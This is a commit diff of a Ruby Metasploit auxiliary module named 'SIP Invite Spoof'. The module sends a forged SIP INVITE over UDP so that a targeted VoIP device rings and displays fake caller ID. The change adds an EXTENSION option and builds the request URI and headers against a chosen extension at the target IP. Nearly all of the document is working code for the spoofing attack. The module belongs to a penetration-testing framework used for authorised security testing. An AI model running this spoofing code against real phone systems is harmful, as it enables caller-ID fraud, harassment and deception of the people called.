1
1
##
2
- # $Id$
2
+ # $Id: sip_invite_spoof.rb 15390 2012-06-05 03:03:05Z rapid7 $
3
3
##
4
4
5
5
##
@@ -21,9 +21,9 @@ class Metasploit3 < Msf::Auxiliary
21
21
def initialize
22
22
super (
23
23
'Name' => 'SIP Invite Spoof' ,
24
- 'Version' => '$Revision$' ,
24
+ 'Version' => '$Revision: 15390 $' ,
25
25
'Description' => 'This module will create a fake SIP invite request making the targeted device ring and display fake caller id information.' ,
26
- 'Author' => 'David Maynor <dave[at]erratasec.com>' ,
26
+ 'Author' => '[ David Maynor <dave[at]erratasec.com>, ChrisJohnRiley] ' ,
27
27
'License' => MSF_LICENSE
28
28
)
29
29
@@ -32,7 +32,8 @@ def initialize
32
32
[
33
33
Opt ::RPORT ( 5060 ) ,
34
34
OptString . new ( 'SRCADDR' , [ true , "The sip address the spoofed call is coming from" , '192.168.1.1' ] ) ,
35
- OptString . new ( 'MSG' , [ true , "The spoofed caller id to send" , "The Metasploit has you" ] )
35
+ OptString . new ( 'MSG' , [ true , "The spoofed caller id to send" , "The Metasploit has you" ] ) ,
36
+ OptString . new ( 'EXTENSION' , [ false , "The specific extension or name to target" , nil ] )
36
37
] , self . class )
37
38
end
38
39
@@ -43,18 +44,27 @@ def run_host(ip)
43
44
44
45
name = datastore [ 'MSG' ]
45
46
src = datastore [ 'SRCADDR' ]
47
+ ext = datastore [ 'EXTENSION' ]
48
+
49
+ if not ext . nil? and not ext . empty?
50
+ # set extesion name/number
51
+ conn_string = "#{ ext } @#{ ip } "
52
+ else
53
+ conn_string = "#{ ip } "
54
+ end
55
+
46
56
connect_udp
47
57
48
- print_status ( "Sending Fake SIP Invite to: #{ ip } " )
58
+ print_status ( "Sending Fake SIP Invite to: #{ conn_string } " )
49
59
50
- req = "INVITE sip:@127.0.0.1 SIP/2.0" + "\r \n "
51
- req << "To: <sip:#{ ip } >" + "\r \n "
60
+ req = "INVITE sip:#{ conn_string } SIP/2.0" + "\r \n "
61
+ req << "To: <sip:#{ conn_string } >" + "\r \n "
52
62
req << "Via: SIP/2.0/UDP #{ ip } " + "\r \n "
53
63
req << "From: \" #{ name } \" <sip:#{ src } >" + "\r \n "
54
64
req << "Call-ID: #{ ( rand ( 100 ) +100 ) } #{ ip } " + "\r \n "
55
65
req << "CSeq: 1 INVITE" + "\r \n "
56
66
req << "Max-Forwards: 20" + "\r \n "
57
- req << "Contact: <sip:127.0.0.1 >" + "\r \n \r \n "
67
+ req << "Contact: <sip:#{ conn_string } >" + "\r \n \r \n "
58
68
59
69
udp_sock . put ( req )
60
70
disconnect_udp
0 commit comments